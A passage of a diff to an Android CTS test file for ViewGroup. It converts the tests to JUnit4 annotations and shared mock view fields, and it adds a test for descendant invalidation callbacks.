+        mMockViewGroup.detachAllViewsFromParent();
+        assertEquals(0, mMockViewGroup.getChildCount());
+        assertNull(mTextView.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testDetachViewFromParent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        mMockViewGroup.addView(mTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
 
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
+        mMockViewGroup.detachViewFromParent(0);
 
-        vg.detachViewFromParent(0);
-
-        assertEquals(0, vg.getChildCount());
-        assertNull(textView.getParent());
+        assertEquals(0, mMockViewGroup.getChildCount());
+        assertNull(mTextView.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testDetachViewFromParentWithParamView() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        mMockViewGroup.addView(mTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertSame(mMockViewGroup, mTextView.getParent());
 
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
-        assertSame(vg, textView.getParent());
+        mMockViewGroup.detachViewFromParent(mTextView);
 
-        vg.detachViewFromParent(textView);
-
-        assertEquals(0, vg.getChildCount());
-        assertNull(vg.getParent());
+        assertEquals(0, mMockViewGroup.getChildCount());
+        assertNull(mMockViewGroup.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testDetachViewsFromParent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         TextView textView1 = new TextView(mContext);
         TextView textView2 = new TextView(mContext);
         TextView textView3 = new TextView(mContext);
 
-        vg.addView(textView1);
-        vg.addView(textView2);
-        vg.addView(textView3);
-        assertEquals(3, vg.getChildCount());
+        mMockViewGroup.addView(textView1);
+        mMockViewGroup.addView(textView2);
+        mMockViewGroup.addView(textView3);
+        assertEquals(3, mMockViewGroup.getChildCount());
 
-        vg.detachViewsFromParent(0, 2);
+        mMockViewGroup.detachViewsFromParent(0, 2);
 
-        assertEquals(1, vg.getChildCount());
+        assertEquals(1, mMockViewGroup.getChildCount());
         assertNull(textView1.getParent());
         assertNull(textView2.getParent());
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchDraw() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         Canvas canvas = new Canvas();
 
-        vg.draw(canvas);
-        assertTrue(vg.isDispatchDrawCalled);
-        assertSame(canvas, vg.canvas);
+        mMockViewGroup.draw(canvas);
+        assertTrue(mMockViewGroup.isDispatchDrawCalled);
+        assertSame(canvas, mMockViewGroup.canvas);
     }
 
-    @SuppressWarnings("unchecked")
+    @UiThreadTest
+    @Test
     public void testDispatchFreezeSelfOnly() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setId(1);
-        vg.setSaveEnabled(true);
+        mMockViewGroup.setId(1);
+        mMockViewGroup.setSaveEnabled(true);
 
         SparseArray container = new SparseArray();
         assertEquals(0, container.size());
-        vg.dispatchFreezeSelfOnly(container);
+        mMockViewGroup.dispatchFreezeSelfOnly(container);
         assertEquals(1, container.size());
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchKeyEvent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER);
-        assertFalse(vg.dispatchKeyEvent(event));
+        assertFalse(mMockViewGroup.dispatchKeyEvent(event));
 
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
-        textView.layout(1, 1, 100, 100);
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        mMockTextView.layout(1, 1, 100, 100);
 
-        assertTrue(vg.dispatchKeyEvent(event));
+        assertTrue(mMockViewGroup.dispatchKeyEvent(event));
     }
 
-    @SuppressWarnings("unchecked")
+    @UiThreadTest
+    @Test
     public void testDispatchSaveInstanceState() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setId(2);
-        vg.setSaveEnabled(true);
-        MockTextView textView = new MockTextView(mContext);
-        textView.setSaveEnabled(true);
-        textView.setId(1);
-        vg.addView(textView);
+        mMockViewGroup.setId(2);
+        mMockViewGroup.setSaveEnabled(true);
+        mMockTextView.setSaveEnabled(true);
+        mMockTextView.setId(1);
+        mMockViewGroup.addView(mMockTextView);
 
         SparseArray array = new SparseArray();
-        vg.dispatchSaveInstanceState(array);
+        mMockViewGroup.dispatchSaveInstanceState(array);
 
         assertTrue(array.size() > 0);
         assertNotNull(array.get(2));
 
         array = new SparseArray();
-        vg.dispatchRestoreInstanceState(array);
-        assertTrue(textView.isDispatchRestoreInstanceStateCalled);
+        mMockViewGroup.dispatchRestoreInstanceState(array);
+        assertTrue(mMockTextView.isDispatchRestoreInstanceStateCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchSetPressed() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        mMockViewGroup.addView(mMockTextView);
 
-        vg.dispatchSetPressed(true);
-        assertTrue(textView.isPressed());
+        mMockViewGroup.dispatchSetPressed(true);
+        assertTrue(mMockTextView.isPressed());
 
-        vg.dispatchSetPressed(false);
-        assertFalse(textView.isPressed());
+        mMockViewGroup.dispatchSetPressed(false);
+        assertFalse(mMockTextView.isPressed());
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchSetSelected() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        mMockViewGroup.addView(mMockTextView);
 
-        vg.dispatchSetSelected(true);
-        assertTrue(textView.isSelected());
+        mMockViewGroup.dispatchSetSelected(true);
+        assertTrue(mMockTextView.isSelected());
 
-        vg.dispatchSetSelected(false);
-        assertFalse(textView.isSelected());
+        mMockViewGroup.dispatchSetSelected(false);
+        assertFalse(mMockTextView.isSelected());
     }
 
-    @SuppressWarnings("unchecked")
+    @UiThreadTest
+    @Test
     public void testDispatchThawSelfOnly() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setId(1);
+        mMockViewGroup.setId(1);
         SparseArray array = new SparseArray();
         array.put(1, BaseSavedState.EMPTY_STATE);
 
-        vg.dispatchThawSelfOnly(array);
-        assertTrue(vg.isOnRestoreInstanceStateCalled);
-
+        mMockViewGroup.dispatchThawSelfOnly(array);
+        assertTrue(mMockViewGroup.isOnRestoreInstanceStateCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchTouchEvent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
         DisplayMetrics metrics = new DisplayMetrics();
         WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
         Display d = wm.getDefaultDisplay();
         d.getMetrics(metrics);
         int screenWidth = metrics.widthPixels;
         int screenHeight = metrics.heightPixels;
-        vg.layout(0, 0, screenWidth, screenHeight);
-        vg.setLayoutParams(new ViewGroup.LayoutParams(screenWidth, screenHeight));
+        mMockViewGroup.layout(0, 0, screenWidth, screenHeight);
+        mMockViewGroup.setLayoutParams(new ViewGroup.LayoutParams(screenWidth, screenHeight));
 
-        MockTextView textView = new MockTextView(mContext);
         mMotionEvent = null;
-        textView.setOnTouchListener(new OnTouchListener() {
-            @Override
-            public boolean onTouch(View v, MotionEvent event) {
-                mMotionEvent = event;
-                return true;
-            }
+        mMockTextView.setOnTouchListener((View v, MotionEvent event) -> {
+            mMotionEvent = event;
+            return true;
         });
 
-        textView.setVisibility(View.VISIBLE);
-        textView.setEnabled(true);
+        mMockTextView.setVisibility(View.VISIBLE);
+        mMockTextView.setEnabled(true);
 
-        vg.addView(textView, new LayoutParams(screenWidth, screenHeight));
+        mMockViewGroup.addView(mMockTextView, new LayoutParams(screenWidth, screenHeight));
 
-        vg.requestDisallowInterceptTouchEvent(true);
+        mMockViewGroup.requestDisallowInterceptTouchEvent(true);
         MotionEvent me = MotionEvent.obtain(SystemClock.uptimeMillis(),
                 SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN,
                 screenWidth / 2, screenHeight / 2, 0);
 
-        assertFalse(vg.dispatchTouchEvent(me));
+        assertFalse(mMockViewGroup.dispatchTouchEvent(me));
         assertNull(mMotionEvent);
 
-        textView.layout(0, 0, screenWidth, screenHeight);
-        assertTrue(vg.dispatchTouchEvent(me));
+        mMockTextView.layout(0, 0, screenWidth, screenHeight);
+        assertTrue(mMockViewGroup.dispatchTouchEvent(me));
         assertSame(me, mMotionEvent);
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchTrackballEvent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         MotionEvent me = MotionEvent.obtain(SystemClock.uptimeMillis(),
                 SystemClock.uptimeMillis(), MotionEvent.ACTION_DOWN, 100, 100,
                 0);
-        assertFalse(vg.dispatchTrackballEvent(me));
+        assertFalse(mMockViewGroup.dispatchTrackballEvent(me));
 
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
-        textView.layout(1, 1, 100, 100);
-        vg.requestChildFocus(textView, null);
-        assertTrue(vg.dispatchTrackballEvent(me));
+        mMockViewGroup.addView(mMockTextView);
+        mMockTextView.layout(1, 1, 100, 100);
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        assertTrue(mMockViewGroup.dispatchTrackballEvent(me));
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchUnhandledMove() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        assertFalse(vg.dispatchUnhandledMove(textView, View.FOCUS_DOWN));
+        assertFalse(mMockViewGroup.dispatchUnhandledMove(mMockTextView, View.FOCUS_DOWN));
 
-        vg.addView(textView);
-        textView.layout(1, 1, 100, 100);
-        vg.requestChildFocus(textView, null);
-        assertTrue(vg.dispatchUnhandledMove(textView, View.FOCUS_DOWN));
+        mMockViewGroup.addView(mMockTextView);
+        mMockTextView.layout(1, 1, 100, 100);
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        assertTrue(mMockViewGroup.dispatchUnhandledMove(mMockTextView, View.FOCUS_DOWN));
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchWindowFocusChanged() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
+        mMockViewGroup.addView(mMockTextView);
+        mMockTextView.setPressed(true);
+        assertTrue(mMockTextView.isPressed());
 
-        vg.addView(textView);
-        textView.setPressed(true);
-        assertTrue(textView.isPressed());
-
-        vg.dispatchWindowFocusChanged(false);
-        assertFalse(textView.isPressed());
+        mMockViewGroup.dispatchWindowFocusChanged(false);
+        assertFalse(mMockTextView.isPressed());
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchWindowVisibilityChanged() {
         int expected = 10;
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
 
-        vg.addView(textView);
-        vg.dispatchWindowVisibilityChanged(expected);
-        assertEquals(expected, textView.visibility);
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.dispatchWindowVisibilityChanged(expected);
+        assertEquals(expected, mMockTextView.visibility);
     }
 
+    @UiThreadTest
+    @Test
     public void testDrawableStateChanged() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        textView.setDuplicateParentStateEnabled(true);
+        mMockTextView.setDuplicateParentStateEnabled(true);
 
-        vg.addView(textView);
-        vg.setAddStatesFromChildren(false);
-        vg.drawableStateChanged();
-        assertTrue(textView.mIsRefreshDrawableStateCalled);
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.setAddStatesFromChildren(false);
+        mMockViewGroup.drawableStateChanged();
+        assertTrue(mMockTextView.mIsRefreshDrawableStateCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testDrawChild() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        mMockViewGroup.addView(mMockTextView);
 
         MockCanvas canvas = new MockCanvas();
-        textView.setBackgroundDrawable(new BitmapDrawable(Bitmap.createBitmap(100, 100,
+        mMockTextView.setBackgroundDrawable(new BitmapDrawable(Bitmap.createBitmap(100, 100,
                 Config.ALPHA_8)));
-        assertFalse(vg.drawChild(canvas, textView, 100));
+        assertFalse(mMockViewGroup.drawChild(canvas, mMockTextView, 100));
         // test whether child's draw method is called.
-        assertTrue(textView.isDrawCalled);
+        assertTrue(mMockTextView.isDrawCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testFindFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertNull(mMockViewGroup.findFocus());
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        mMockViewGroup.setFocusable(true);
+        mMockViewGroup.setVisibility(View.VISIBLE);
+        mMockViewGroup.setFocusableInTouchMode(true);
+        assertTrue(mMockViewGroup.requestFocus(1, new Rect()));
 
-        assertNull(vg.findFocus());
-        vg.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
-        vg.setFocusable(true);
-        vg.setVisibility(View.VISIBLE);
-        vg.setFocusableInTouchMode(true);
-        assertTrue(vg.requestFocus(1, new Rect()));
-
-        assertSame(vg, vg.findFocus());
+        assertSame(mMockViewGroup, mMockViewGroup.findFocus());
     }
 
+    @UiThreadTest
+    @Test
     public void testFitSystemWindows() {
         Rect rect = new Rect(1, 1, 100, 100);
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertFalse(vg.fitSystemWindows(rect));
+        assertFalse(mMockViewGroup.fitSystemWindows(rect));
 
-        vg = new MockViewGroup(mContext, null, 0);
+        mMockViewGroup = new MockViewGroup(mContext, null, 0);
         MockView mv = new MockView(mContext);
-        vg.addView(mv);
-        assertTrue(vg.fitSystemWindows(rect));
+        mMockViewGroup.addView(mv);
+        assertTrue(mMockViewGroup.fitSystemWindows(rect));
     }
 
     static class MockView extends ViewGroup {
@@ -680,75 +798,80 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testFocusableViewAvailable() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockView child = new MockView(mContext);
-        vg.addView(child);
+        mMockViewGroup.addView(child);
 
         child.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
-        child.focusableViewAvailable(vg);
+        child.focusableViewAvailable(mMockViewGroup);
 
-        assertTrue(vg.isFocusableViewAvailable);
+        assertTrue(mMockViewGroup.isFocusableViewAvailable);
     }
 
+    @UiThreadTest
+    @Test
     public void testFocusSearch() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
         MockView child = new MockView(mContext);
-        vg.addView(child);
-        child.addView(textView);
-        assertNotNull(child.focusSearch(textView, 1));
-        assertSame(textView, child.focusSearch(textView, 1));
+        mMockViewGroup.addView(child);
+        child.addView(mMockTextView);
+        assertSame(mMockTextView, child.focusSearch(mMockTextView, 1));
     }
 
+    @UiThreadTest
+    @Test
     public void testGatherTransparentRegion() {
         Region region = new Region();
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-        textView.setAnimation(new AlphaAnimation(mContext, null));
-        textView.setVisibility(100);
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
+        mMockTextView.setAnimation(new AlphaAnimation(mContext, null));
+        mMockTextView.setVisibility(100);
+        mMockViewGroup.addView(mMockTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
 
-        assertTrue(vg.gatherTransparentRegion(region));
-        assertTrue(vg.gatherTransparentRegion(null));
+        assertTrue(mMockViewGroup.gatherTransparentRegion(region));
+        assertTrue(mMockViewGroup.gatherTransparentRegion(null));
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams(){
-        MockViewGroup vg = new MockViewGroup(mContext);
-        LayoutParams lp = vg.generateDefaultLayoutParams();
+        LayoutParams lp = mMockViewGroup.generateDefaultLayoutParams();
 
         assertEquals(LayoutParams.WRAP_CONTENT, lp.width);
         assertEquals(LayoutParams.WRAP_CONTENT, lp.height);
     }
 
-    public void testGenerateLayoutParamsWithParaAttributeSet() throws Exception{
-        MockViewGroup vg = new MockViewGroup(mContext);
+    @UiThreadTest
+    @Test
+    public void testGenerateLayoutParamsWithParaAttributeSet() throws Exception {
         XmlResourceParser set = mContext.getResources().getLayout(
                 android.view.cts.R.layout.abslistview_layout);
         XmlUtils.beginDocument(set, "ViewGroup_Layout");
-        LayoutParams lp = vg.generateLayoutParams(set);
+        LayoutParams lp = mMockViewGroup.generateLayoutParams(set);
         assertNotNull(lp);
         assertEquals(25, lp.height);
         assertEquals(25, lp.width);
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateLayoutParams() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         LayoutParams p = new LayoutParams(LayoutParams.WRAP_CONTENT,
                 LayoutParams.MATCH_PARENT);
-        LayoutParams generatedParams = vg.generateLayoutParams(p);
+        LayoutParams generatedParams = mMockViewGroup.generateLayoutParams(p);
         assertEquals(generatedParams.getClass(), p.getClass());
         assertEquals(p.width, generatedParams.width);
         assertEquals(p.height, generatedParams.height);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetChildDrawingOrder() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertEquals(1, vg.getChildDrawingOrder(0, 1));
-        assertEquals(2, vg.getChildDrawingOrder(0, 2));
+        assertEquals(1, mMockViewGroup.getChildDrawingOrder(0, 1));
+        assertEquals(2, mMockViewGroup.getChildDrawingOrder(0, 2));
     }
 
+    @Test
     public void testGetChildMeasureSpec() {
         int spec = 1;
         int padding = 1;
@@ -762,54 +885,54 @@
                 ViewGroup.getChildMeasureSpec(spec, padding, childDimension));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetChildStaticTransformation() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertFalse(vg.getChildStaticTransformation(null, null));
+        assertFalse(mMockViewGroup.getChildStaticTransformation(null, null));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetChildVisibleRect() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-
-        textView.layout(1, 1, 100, 100);
+        mMockTextView.layout(1, 1, 100, 100);
         Rect rect = new Rect(1, 1, 50, 50);
         Point p = new Point();
-        assertFalse(vg.getChildVisibleRect(textView, rect, p));
+        assertFalse(mMockViewGroup.getChildVisibleRect(mMockTextView, rect, p));
 
-        textView.layout(0, 0, 0, 0);
-        vg.layout(20, 20, 60, 60);
+        mMockTextView.layout(0, 0, 0, 0);
+        mMockViewGroup.layout(20, 20, 60, 60);
         rect = new Rect(10, 10, 40, 40);
         p = new Point();
-        assertTrue(vg.getChildVisibleRect(textView, rect, p));
+        assertTrue(mMockViewGroup.getChildVisibleRect(mMockTextView, rect, p));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetDescendantFocusability() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         final int FLAG_MASK_FOCUSABILITY = 0x60000;
-        assertFalse((vg.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
+        assertFalse((mMockViewGroup.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
 
-        vg.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
-        assertFalse((vg.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        assertFalse((mMockViewGroup.getDescendantFocusability() & FLAG_MASK_FOCUSABILITY) == 0);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetLayoutAnimation() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
-        assertNull(vg.getLayoutAnimation());
+        assertNull(mMockViewGroup.getLayoutAnimation());
         RotateAnimation animation = new RotateAnimation(0.1f, 0.1f);
         LayoutAnimationController la = new LayoutAnimationController(animation);
-        vg.setLayoutAnimation(la);
-        assertTrue(vg.canAnimate());
-        assertSame(la, vg.getLayoutAnimation());
+        mMockViewGroup.setLayoutAnimation(la);
+        assertTrue(mMockViewGroup.canAnimate());
+        assertSame(la, mMockViewGroup.getLayoutAnimation());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetLayoutAnimationListener() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
-        assertNull(vg.getLayoutAnimationListener());
+        assertNull(mMockViewGroup.getLayoutAnimationListener());
 
         AnimationListener al = new AnimationListener() {
-
             @Override
             public void onAnimationEnd(Animation animation) {
             }
@@ -822,67 +945,103 @@
             public void onAnimationStart(Animation animation) {
             }
         };
-        vg.setLayoutAnimationListener(al);
-        assertSame(al, vg.getLayoutAnimationListener());
+        mMockViewGroup.setLayoutAnimationListener(al);
+        assertSame(al, mMockViewGroup.getLayoutAnimationListener());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetPersistentDrawingCache() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         final int mPersistentDrawingCache1 = 2;
         final int mPersistentDrawingCache2 = 3;
-        assertEquals(mPersistentDrawingCache1, vg.getPersistentDrawingCache());
+        assertEquals(mPersistentDrawingCache1, mMockViewGroup.getPersistentDrawingCache());
 
-        vg.setPersistentDrawingCache(mPersistentDrawingCache2);
-        assertEquals(mPersistentDrawingCache2, vg.getPersistentDrawingCache());
+        mMockViewGroup.setPersistentDrawingCache(mPersistentDrawingCache2);
+        assertEquals(mPersistentDrawingCache2, mMockViewGroup.getPersistentDrawingCache());
     }
 
+    @UiThreadTest
+    @Test
     public void testHasFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertFalse(vg.hasFocus());
+        assertFalse(mMockViewGroup.hasFocus());
 
-        TextView textView = new TextView(mContext);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.requestChildFocus(mTextView, null);
 
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
-
-        assertTrue(vg.hasFocus());
+        assertTrue(mMockViewGroup.hasFocus());
     }
 
+    @UiThreadTest
+    @Test
     public void testHasFocusable() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        assertFalse(vg.hasFocusable());
+        assertFalse(mMockViewGroup.hasFocusable());
 
-        vg.setVisibility(View.VISIBLE);
-        vg.setFocusable(true);
-        assertTrue(vg.hasFocusable());
+        mMockViewGroup.setVisibility(View.VISIBLE);
+        mMockViewGroup.setFocusable(true);
+        assertTrue(mMockViewGroup.hasFocusable());
     }
 
+    @UiThreadTest
+    @Test
     public void testIndexOfChild() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(-1, mMockViewGroup.indexOfChild(mTextView));
 
-        assertEquals(-1, vg.indexOfChild(textView));
-
-        vg.addView(textView);
-        assertEquals(0, vg.indexOfChild(textView));
+        mMockViewGroup.addView(mTextView);
+        assertEquals(0, mMockViewGroup.indexOfChild(mTextView));
     }
 
-    private void setupActivity(String action) {
-
-        Intent intent = new Intent(getInstrumentation().getTargetContext(),
-                ViewGroupCtsActivity.class);
-        intent.setAction(action);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        getInstrumentation().getTargetContext().startActivity(intent);
-    }
-
+    @LargeTest
+    @Test
     public void testInvalidateChild() {
-        ViewGroupCtsActivity.setResult(this);
-        setupActivity(ViewGroupCtsActivity.ACTION_INVALIDATE_CHILD);
+        ViewGroupInvalidateChildCtsActivity.setResult(this);
+
+        Context context = InstrumentationRegistry.getTargetContext();
+        Intent intent = new Intent(context, ViewGroupInvalidateChildCtsActivity.class);
+        intent.setAction(ViewGroupInvalidateChildCtsActivity.ACTION_INVALIDATE_CHILD);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+
         waitForResult();
         assertEquals(CTSResult.RESULT_OK, mResultCode);
     }
 
+    @Test
+    public void testOnDescendantInvalidated() throws Throwable {
+        Activity activity = null;
+        try {
+            activity = mCtsActivityRule.launchActivity(new Intent());
+
+            mCtsActivityRule.runOnUiThread(() -> {
+                View child = mTextView;
+                MockViewGroup parent = mMockViewGroup;
+                MockViewGroup grandParent = new MockViewGroup(mContext);
+                parent.addView(child);
+                grandParent.addView(parent);
+                mCtsActivityRule.getActivity().setContentView(grandParent);
+
+                parent.isOnDescendantInvalidatedCalled = false;
+                grandParent.isOnDescendantInvalidatedCalled = false;
+
+                parent.invalidateChild(child, new Rect(0, 0, 1, 1));
+
+                assertTrue(parent.isOnDescendantInvalidatedCalled);
+                assertTrue(grandParent.isOnDescendantInvalidatedCalled);
+
+                parent.isOnDescendantInvalidatedCalled = false;
+                grandParent.isOnDescendantInvalidatedCalled = false;
+
+                grandParent.invalidateChild(child, new Rect(0, 0, 1, 1));
+
+                assertFalse(parent.isOnDescendantInvalidatedCalled);
+                assertTrue(grandParent.isOnDescendantInvalidatedCalled);
+            });
+        } finally {
+            if (activity != null) {
+                activity.finish();
+            }
+        }
+    }
+
     private void waitForResult() {
         synchronized (mSync) {
             while(!mSync.mHasNotify) {
@@ -894,75 +1053,79 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testIsAlwaysDrawnWithCacheEnabled() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertTrue(mMockViewGroup.isAlwaysDrawnWithCacheEnabled());
 
-        assertTrue(vg.isAlwaysDrawnWithCacheEnabled());
-
-        vg.setAlwaysDrawnWithCacheEnabled(false);
-        assertFalse(vg.isAlwaysDrawnWithCacheEnabled());
-        vg.setAlwaysDrawnWithCacheEnabled(true);
-        assertTrue(vg.isAlwaysDrawnWithCacheEnabled());
+        mMockViewGroup.setAlwaysDrawnWithCacheEnabled(false);
+        assertFalse(mMockViewGroup.isAlwaysDrawnWithCacheEnabled());
+        mMockViewGroup.setAlwaysDrawnWithCacheEnabled(true);
+        assertTrue(mMockViewGroup.isAlwaysDrawnWithCacheEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testIsAnimationCacheEnabled() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertTrue(mMockViewGroup.isAnimationCacheEnabled());
 
-        assertTrue(vg.isAnimationCacheEnabled());
-
-        vg.setAnimationCacheEnabled(false);
-        assertFalse(vg.isAnimationCacheEnabled());
-        vg.setAnimationCacheEnabled(true);
-        assertTrue(vg.isAnimationCacheEnabled());
+        mMockViewGroup.setAnimationCacheEnabled(false);
+        assertFalse(mMockViewGroup.isAnimationCacheEnabled());
+        mMockViewGroup.setAnimationCacheEnabled(true);
+        assertTrue(mMockViewGroup.isAnimationCacheEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testIsChildrenDrawnWithCacheEnabled() {
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertFalse(mMockViewGroup.isChildrenDrawnWithCacheEnabled());
 
-        assertFalse(vg.isChildrenDrawnWithCacheEnabled());
-
-        vg.setChildrenDrawnWithCacheEnabled(true);
-        assertTrue(vg.isChildrenDrawnWithCacheEnabled());
+        mMockViewGroup.setChildrenDrawnWithCacheEnabled(true);
+        assertTrue(mMockViewGroup.isChildrenDrawnWithCacheEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChild() {
         final int width = 100;
         final int height = 200;
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockView child = new MockView(mContext);
         child.setLayoutParams(new LayoutParams(width, height));
         child.forceLayout();
-        vg.addView(child);
+        mMockViewGroup.addView(child);
 
         final int parentWidthMeasureSpec = 1;
         final int parentHeightMeasureSpec = 2;
-        vg.measureChild(child, parentWidthMeasureSpec, parentHeightMeasureSpec);
+        mMockViewGroup.measureChild(child, parentWidthMeasureSpec, parentHeightMeasureSpec);
         assertEquals(ViewGroup.getChildMeasureSpec(parentWidthMeasureSpec, 0, width),
                 child.mWidthMeasureSpec);
         assertEquals(ViewGroup.getChildMeasureSpec(parentHeightMeasureSpec, 0, height),
                 child.mHeightMeasureSpec);
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChildren() {
         final int widthMeasureSpec = 100;
         final int heightMeasureSpec = 200;
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockTextView textView1 = new MockTextView(mContext);
 
-        vg.addView(textView1);
-        vg.measureChildCalledTime = 0;
-        vg.measureChildren(widthMeasureSpec, heightMeasureSpec);
-        assertEquals(1, vg.measureChildCalledTime);
+        mMockViewGroup.addView(textView1);
+        mMockViewGroup.measureChildCalledTime = 0;
+        mMockViewGroup.measureChildren(widthMeasureSpec, heightMeasureSpec);
+        assertEquals(1, mMockViewGroup.measureChildCalledTime);
 
         MockTextView textView2 = new MockTextView(mContext);
         textView2.setVisibility(View.GONE);
-        vg.addView(textView2);
+        mMockViewGroup.addView(textView2);
 
-        vg.measureChildCalledTime = 0;
-        vg.measureChildren(widthMeasureSpec, heightMeasureSpec);
-        assertEquals(1, vg.measureChildCalledTime);
+        mMockViewGroup.measureChildCalledTime = 0;
+        mMockViewGroup.measureChildren(widthMeasureSpec, heightMeasureSpec);
+        assertEquals(1, mMockViewGroup.measureChildCalledTime);
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureChildWithMargins() {
         final int width = 10;
         final int height = 20;
@@ -970,71 +1133,71 @@
         final int widthUsed = 2;
         final int parentHeightMeasureSpec = 3;
         final int heightUsed = 4;
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockView child = new MockView(mContext);
 
-        vg.addView(child);
+        mMockViewGroup.addView(child);
         child.setLayoutParams(new ViewGroup.LayoutParams(width, height));
         try {
-            vg.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
+            mMockViewGroup.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
